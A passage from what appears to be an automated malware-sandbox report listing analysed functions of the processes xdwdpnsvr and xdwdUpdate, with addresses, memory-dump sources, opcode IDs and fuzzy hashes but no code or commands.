                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0e2407d8766a83a67b2f8ff3de6cf23261e31bfc6be7bb30cd957e9bff331469
                                                                                                                                                                            • Instruction ID: c3343aadfbb32b853792d41a6dc8071639d103a2755bd5d15f5c4cd58a7e9065
                                                                                                                                                                            • Opcode Fuzzy Hash: 0e2407d8766a83a67b2f8ff3de6cf23261e31bfc6be7bb30cd957e9bff331469
                                                                                                                                                                            • Instruction Fuzzy Hash: 22F02B3192D9CD8FE760AB5CD4D14E8BBF0EF2A300B0501F6E459C71B6E618ACC18302
                                                                                                                                                                            Function 00007FFE6F7B4970 Relevance: .0, Instructions: 34COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cec3bf780a9ff49decf22868eee34ccbae63fc4c6aa522babe5ac9d9953529e8
                                                                                                                                                                            • Instruction ID: 63bd03deb5a8052a45c2c718b37f6521cbbf090215857eadaad0a2e375a5041e
                                                                                                                                                                            • Opcode Fuzzy Hash: cec3bf780a9ff49decf22868eee34ccbae63fc4c6aa522babe5ac9d9953529e8
                                                                                                                                                                            • Instruction Fuzzy Hash: EBE06D24E3F88F46BAA86619E4506F92081DFAE310F94003BE50ED22E4FC4C7C830286
                                                                                                                                                                            Function 00007FFE6F7B8D80 Relevance: .0, Instructions: 33COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ae21897babb76f377e2d34117d21532b12b804a06407bdd524d80d8899564350
                                                                                                                                                                            • Instruction ID: 37b595ded5d04c6acb1c2467fa3b1b49192c6d58ac9c3a8e35b4bbafae174e76
                                                                                                                                                                            • Opcode Fuzzy Hash: ae21897babb76f377e2d34117d21532b12b804a06407bdd524d80d8899564350
                                                                                                                                                                            • Instruction Fuzzy Hash: 79F0E911E2F5CF4AF646AB38A4611F939919F66210B88407ED588951D3FC0C64468346
                                                                                                                                                                            Function 00007FFE6F7B8DB8 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 067859eae3e5a557a761d9ce436f146bfd2d343825b820cd17066b7d4556415a
                                                                                                                                                                            • Instruction ID: 5aa3b88aa65a9209d0465eb984d7b4239785b26f032f7924464537c3941ac47b
                                                                                                                                                                            • Opcode Fuzzy Hash: 067859eae3e5a557a761d9ce436f146bfd2d343825b820cd17066b7d4556415a
                                                                                                                                                                            • Instruction Fuzzy Hash: 81E09B15E3FC8F46B6586718A4521F834D1EF99310F840036D50DD12D1FD5C78564286
                                                                                                                                                                            Function 00007FFE6F7B4A78 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 76049a7d5843bc1649c17d1f598cefa38365942a09665b28ebcb3e9ce05082b7
                                                                                                                                                                            • Instruction ID: bed35b6ac70a11004acd77cc47d1ebd614cdc385587f2cc6ccb1ea16a8f24755
                                                                                                                                                                            • Opcode Fuzzy Hash: 76049a7d5843bc1649c17d1f598cefa38365942a09665b28ebcb3e9ce05082b7
                                                                                                                                                                            • Instruction Fuzzy Hash: 76E0123193988D8FEA74AB58D1C45F8B1E0EF7A310F1500B1E45DC71A5EA18BC814642
                                                                                                                                                                            Function 00007FFE6F7BA131 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ba2c61d306518f6a9b3025a239ce373f0616b9cd3ba8fbdb378d170f8db86bf7
                                                                                                                                                                            • Instruction ID: a8a9c6c0ee94a729400aee06baaabfc5aeb807fd7cc2d05e26866a80d162d1f6
                                                                                                                                                                            • Opcode Fuzzy Hash: ba2c61d306518f6a9b3025a239ce373f0616b9cd3ba8fbdb378d170f8db86bf7
                                                                                                                                                                            • Instruction Fuzzy Hash: 2EE04F10F3C85E0BB688BB28808A1F861C3DB9875574041B8E81ED32E7DD28EC430244
                                                                                                                                                                            Function 00007FFE6F7B9E08 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 30471f173afba1751006e8378f68cb3ff359f26fb7f1c4858fd2f1424f67274b
                                                                                                                                                                            • Instruction ID: 3eb7581cb3569db3d58318978cbbae75e54f8b536feb3b6616502e5775ae1adc
                                                                                                                                                                            • Opcode Fuzzy Hash: 30471f173afba1751006e8378f68cb3ff359f26fb7f1c4858fd2f1424f67274b
                                                                                                                                                                            • Instruction Fuzzy Hash: 56E0EC31A2588E8FEAA0AB4CD1945E872E0EF7A310F1504B1E45DC72B6EA6CEC814642
                                                                                                                                                                            Function 00007FFE6F7BDFAE Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0c3e2ca787498d8094f22d2bb9e13646d522103a77d9af220801235e8a0c3825
                                                                                                                                                                            • Instruction ID: 2d6e5c8e2c229718f14df3b26c74c5e7ddbd1f485b320ce3b70c2ca577534438
                                                                                                                                                                            • Opcode Fuzzy Hash: 0c3e2ca787498d8094f22d2bb9e13646d522103a77d9af220801235e8a0c3825
                                                                                                                                                                            • Instruction Fuzzy Hash: D5D09E1AD7A87E45FA503B58E0844F8A1A1AB56320F9905B9D96EE72D0E81C3CA31294
                                                                                                                                                                            Function 00007FFE6F7BC1BA Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 76351f8624dd575acaa518a17062dbb0e3483b4351d3377abe88c9f59e950627
                                                                                                                                                                            • Instruction ID: 2f560a258921e8e3ea69760ccaf53772b84b808c85f8a9b4b0f2aeb97c06e693
                                                                                                                                                                            • Opcode Fuzzy Hash: 76351f8624dd575acaa518a17062dbb0e3483b4351d3377abe88c9f59e950627
                                                                                                                                                                            • Instruction Fuzzy Hash: 8ED02E3052A90CCEDF80AFA8E4093ED7360FF4A312F800039E00BD21C1CA789490C380
                                                                                                                                                                            Function 00007FFE6F7BC900 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 434351db66ddd88194a4ab34f3ec372d7b2c878aef51d259fae5cb468d6e67c0
                                                                                                                                                                            • Instruction ID: e9bdbc8d618237fb174b5f67949e2decc40c9adbe289dfcad7fc3252d1067c2a
                                                                                                                                                                            • Opcode Fuzzy Hash: 434351db66ddd88194a4ab34f3ec372d7b2c878aef51d259fae5cb468d6e67c0
                                                                                                                                                                            • Instruction Fuzzy Hash: EBD0E904B39C8D4B65C9B72C506E2BD50C39BDA15176445BAE40EC72A6ED2868831345
                                                                                                                                                                            Function 00007FFE6F7B9E46 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cf55083996adc5bfc2f58a25ada68e6af6b79915a3d62d4bc3078d288e1fcb6c
                                                                                                                                                                            • Instruction ID: 03978c8c4671baba0c1ccd572bb0ab61d06d54ade9d35f36100d94900abb51fc
                                                                                                                                                                            • Opcode Fuzzy Hash: cf55083996adc5bfc2f58a25ada68e6af6b79915a3d62d4bc3078d288e1fcb6c
                                                                                                                                                                            • Instruction Fuzzy Hash: DBD0123121080C8FD6A0EB8CF4849F537E1FF6E3113110092D05DCB264D665ECC18741
                                                                                                                                                                            Function 00007FFE6F7B98D0 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ed8da814f8a2e8d4d636c6b37e065fe565827fcf401889092b34586a0b4ac270
                                                                                                                                                                            • Instruction ID: 52b95d03e045dcdaabae326569fb4e594854886ba52696bd5d59535feac536eb
                                                                                                                                                                            • Opcode Fuzzy Hash: ed8da814f8a2e8d4d636c6b37e065fe565827fcf401889092b34586a0b4ac270
                                                                                                                                                                            • Instruction Fuzzy Hash: 65D01724CA988F46EB08BFA888026EDB6A0EF50320F0840BCA40C9257ADA6C7192C641
                                                                                                                                                                            Function 00007FFE6F7B852E Relevance: .0, Instructions: 15COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: dc5d31ab398c88b8b67963c7bc81775d6555bf20db2f5cc35fe6aef54e6ccd11
                                                                                                                                                                            • Instruction ID: 266dd299bb867737fface3107b8c46ce5e5f0037b45b97835692ffa9596ce42f
                                                                                                                                                                            • Opcode Fuzzy Hash: dc5d31ab398c88b8b67963c7bc81775d6555bf20db2f5cc35fe6aef54e6ccd11
                                                                                                                                                                            • Instruction Fuzzy Hash: 95D0223062B30C89EB192B3868010EC36A08F012A1BA004BEE804CA1A3E82EC0C18300
                                                                                                                                                                            Function 00007FFE6F7B882D Relevance: .0, Instructions: 13COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 29ce3c7f5d0e95335bb850b60bb32154912364f9c3d013048797ad76d3143f6b
                                                                                                                                                                            • Instruction ID: 1270b274dcaaf1ebc5048f8aa9e0d8a52befaffab4607432eefb94fdae2bd159
                                                                                                                                                                            • Opcode Fuzzy Hash: 29ce3c7f5d0e95335bb850b60bb32154912364f9c3d013048797ad76d3143f6b
                                                                                                                                                                            • Instruction Fuzzy Hash: F5C01230A1580A6F9A84EE08D89AEF963C3E7E87407648138981DC3275EE30EA0A8341
                                                                                                                                                                            Function 00007FFE6F7BD3AF Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ff563827d3056969b06ebf8956e5a1720c8dc8e02e15791af942669658d2d91c
                                                                                                                                                                            • Instruction ID: 6c76fc887bc264110d9257422a5e32331e42cad1b0c76abb18aafb2f27b0e4c3
                                                                                                                                                                            • Opcode Fuzzy Hash: ff563827d3056969b06ebf8956e5a1720c8dc8e02e15791af942669658d2d91c
                                                                                                                                                                            • Instruction Fuzzy Hash: 72A022333CFC0800F000008E3C830C8F300E8C00383EB22A3E808C0208C2CB08C30283
                                                                                                                                                                            Function 00007FFE6F7BD547 Relevance: .0, Instructions: 8COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e14b2f4ee17807609e7710f321b9ad28ff94ecd4ddcd20458f4730bc972251e1
                                                                                                                                                                            • Instruction ID: fd36561dd4f9f6b208db32759ce8df5b9a5676f52e593b22ec18466f3ae61868
                                                                                                                                                                            • Opcode Fuzzy Hash: e14b2f4ee17807609e7710f321b9ad28ff94ecd4ddcd20458f4730bc972251e1
                                                                                                                                                                            • Instruction Fuzzy Hash: 1BA002177AA82501E6401CADBC130D8F34189D10757CB1572ED6CCA69CDADA45D30185

                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                            Function 00007FFE6F7B0928 Relevance: 5.0, Strings: 4, Instructions: 23COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: S;$![;$"c;$#k;
                                                                                                                                                                            • API String ID: 0-1519754266
                                                                                                                                                                            • Opcode ID: 1f2d9fcacbc4d250dd22644324089a7fa264727c868faaf9b1ec90fd0371c1cd
                                                                                                                                                                            • Instruction ID: 56f75e5503f46da4a6ada0096a66025b4c31b77baba72d821a531fff16d66c78
                                                                                                                                                                            • Opcode Fuzzy Hash: 1f2d9fcacbc4d250dd22644324089a7fa264727c868faaf9b1ec90fd0371c1cd
                                                                                                                                                                            • Instruction Fuzzy Hash: B3D05E1F734C6B059244671FB0506D89385F7C40733908A73EB41DA29252506C9FC2F0

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F7E32F0 Relevance: 1.7, Strings: 1, Instructions: 407COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(L_^
                                                                                                                                                                            • API String ID: 0-1415317326
                                                                                                                                                                            • Opcode ID: 42f0e0533633fe73d1c22e0070af6102cc5835b43ca35e6993f15d7d5e7d9e5b
                                                                                                                                                                            • Instruction ID: fef7de118c09c438b3b5e1af8d334b94da2d63713cecea371adac8e0fdb1b1db
                                                                                                                                                                            • Opcode Fuzzy Hash: 42f0e0533633fe73d1c22e0070af6102cc5835b43ca35e6993f15d7d5e7d9e5b
                                                                                                                                                                            • Instruction Fuzzy Hash: EBD12B69D3E2DE8AF7A6572498225F53F614F22314F5541BBC499CB1F3F80C790A83A2
                                                                                                                                                                            Function 00007FFE6F7E1658 Relevance: 1.4, Strings: 1, Instructions: 174COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2L_^
                                                                                                                                                                            • API String ID: 0-1535703924
                                                                                                                                                                            • Opcode ID: 3ee012adc76025bab6d54d423cc8ce9e3b63e1dea4c0992c142b669d6a767b16
                                                                                                                                                                            • Instruction ID: cc47e3a9eb743a3b923b7b0a487a90754f38a51f0e7ea459360fea07b1910352
                                                                                                                                                                            • Opcode Fuzzy Hash: 3ee012adc76025bab6d54d423cc8ce9e3b63e1dea4c0992c142b669d6a767b16
                                                                                                                                                                            • Instruction Fuzzy Hash: 96612B5592E3CA8EE757973448362E53F605F17614F1942FBD0A8CB4F3F94C682A8362
                                                                                                                                                                            Function 00007FFE6F7E86E8 Relevance: .4, Instructions: 372COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 05d5456383acf105ec8b5cf351f95bdbe4624803440b5af0bb79435810e89726
                                                                                                                                                                            • Instruction ID: 59de79b75cbf6fe21417b89391cf6909f9e844de35c94531bfb33e652f389bd0
                                                                                                                                                                            • Opcode Fuzzy Hash: 05d5456383acf105ec8b5cf351f95bdbe4624803440b5af0bb79435810e89726
                                                                                                                                                                            • Instruction Fuzzy Hash: 46C1AE1593E6CE8EE756A37858652F43BA0AF56310F0905BBD4A8CB1F3FD0C785A8352
                                                                                                                                                                            Function 00007FFE6F7E32E0 Relevance: .2, Instructions: 203COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: dddfc7bda7f2e8ef655344665c2d5b8a70aadc5fd09f4c57a1fad0db572257d2
                                                                                                                                                                            • Instruction ID: 220b4891f7e98cc1d59be862c31500bfa44e782a61d4a9c097230b1039b58d8c
                                                                                                                                                                            • Opcode Fuzzy Hash: dddfc7bda7f2e8ef655344665c2d5b8a70aadc5fd09f4c57a1fad0db572257d2
                                                                                                                                                                            • Instruction Fuzzy Hash: 46614929E3E09F85FBEA932884639FA3D419B62315F50263BC86CC60F1BD1DB45E4192
                                                                                                                                                                            Function 00007FFE6F7E351D Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(L_^
                                                                                                                                                                            • API String ID: 0-1415317326
                                                                                                                                                                            • Opcode ID: 178ce3d2761d3ae3da9120d9fb3cbf58b86cfc17715bb9d4ecf199411da7a371
                                                                                                                                                                            • Instruction ID: 9fa2b94a5bbfeb0c1093860ac7e2573d6e30d82ff8d5a8938cc1e13200a51fe1
                                                                                                                                                                            • Opcode Fuzzy Hash: 178ce3d2761d3ae3da9120d9fb3cbf58b86cfc17715bb9d4ecf199411da7a371
                                                                                                                                                                            • Instruction Fuzzy Hash: 17514B9A81E3D94FE7932730A8752D13F754E2325871A44E7C4D6CB2E3E80D5E49C3A2
                                                                                                                                                                            Function 00007FFE6F7EE63F Relevance: 1.4, Strings: 1, Instructions: 107COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: H
                                                                                                                                                                            • API String ID: 0-2852464175
                                                                                                                                                                            • Opcode ID: edcb25c9f1ad52c45ba9a5ce4c2abe657143d12b33e81fbce89725228c463c2a
                                                                                                                                                                            • Instruction ID: 6387280e5454879701ff832233a656d216b46eef4495010dede87566514d87c6
                                                                                                                                                                            • Opcode Fuzzy Hash: edcb25c9f1ad52c45ba9a5ce4c2abe657143d12b33e81fbce89725228c463c2a
                                                                                                                                                                            • Instruction Fuzzy Hash: 52316225E399AECAEA95E72880616FD72D2AF48304F020475D81EE31E2FD18BC014384
                                                                                                                                                                            Function 00007FFE6F7E16B4 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2L_^
                                                                                                                                                                            • API String ID: 0-1535703924
                                                                                                                                                                            • Opcode ID: ea6732a92624e8389ea3978a9899b89cd57a90c5b5db80c26260ddaa0ca14ded
                                                                                                                                                                            • Instruction ID: 527dc5393330eb0aaec28b85548f512bf994a1e7eefce27a0286e10e0c8464b0
                                                                                                                                                                            • Opcode Fuzzy Hash: ea6732a92624e8389ea3978a9899b89cd57a90c5b5db80c26260ddaa0ca14ded
                                                                                                                                                                            • Instruction Fuzzy Hash: 39215E29E3E08F81FF68A72898272FA31414F58B55F54567AE46CC21F3FD8C742A41D2
                                                                                                                                                                            Function 00007FFE6F7E1647 Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2L_^
                                                                                                                                                                            • API String ID: 0-1535703924
                                                                                                                                                                            • Opcode ID: d02b512c5c807f185f053ed7d2865c3c030ae9ccb3271f7d8ab61987ba0f6a04
                                                                                                                                                                            • Instruction ID: 0a6a9e7863c8cc9b08b28b8bbee503f9e41de65de51d9c2fbb273cbf665fdd9a
                                                                                                                                                                            • Opcode Fuzzy Hash: d02b512c5c807f185f053ed7d2865c3c030ae9ccb3271f7d8ab61987ba0f6a04
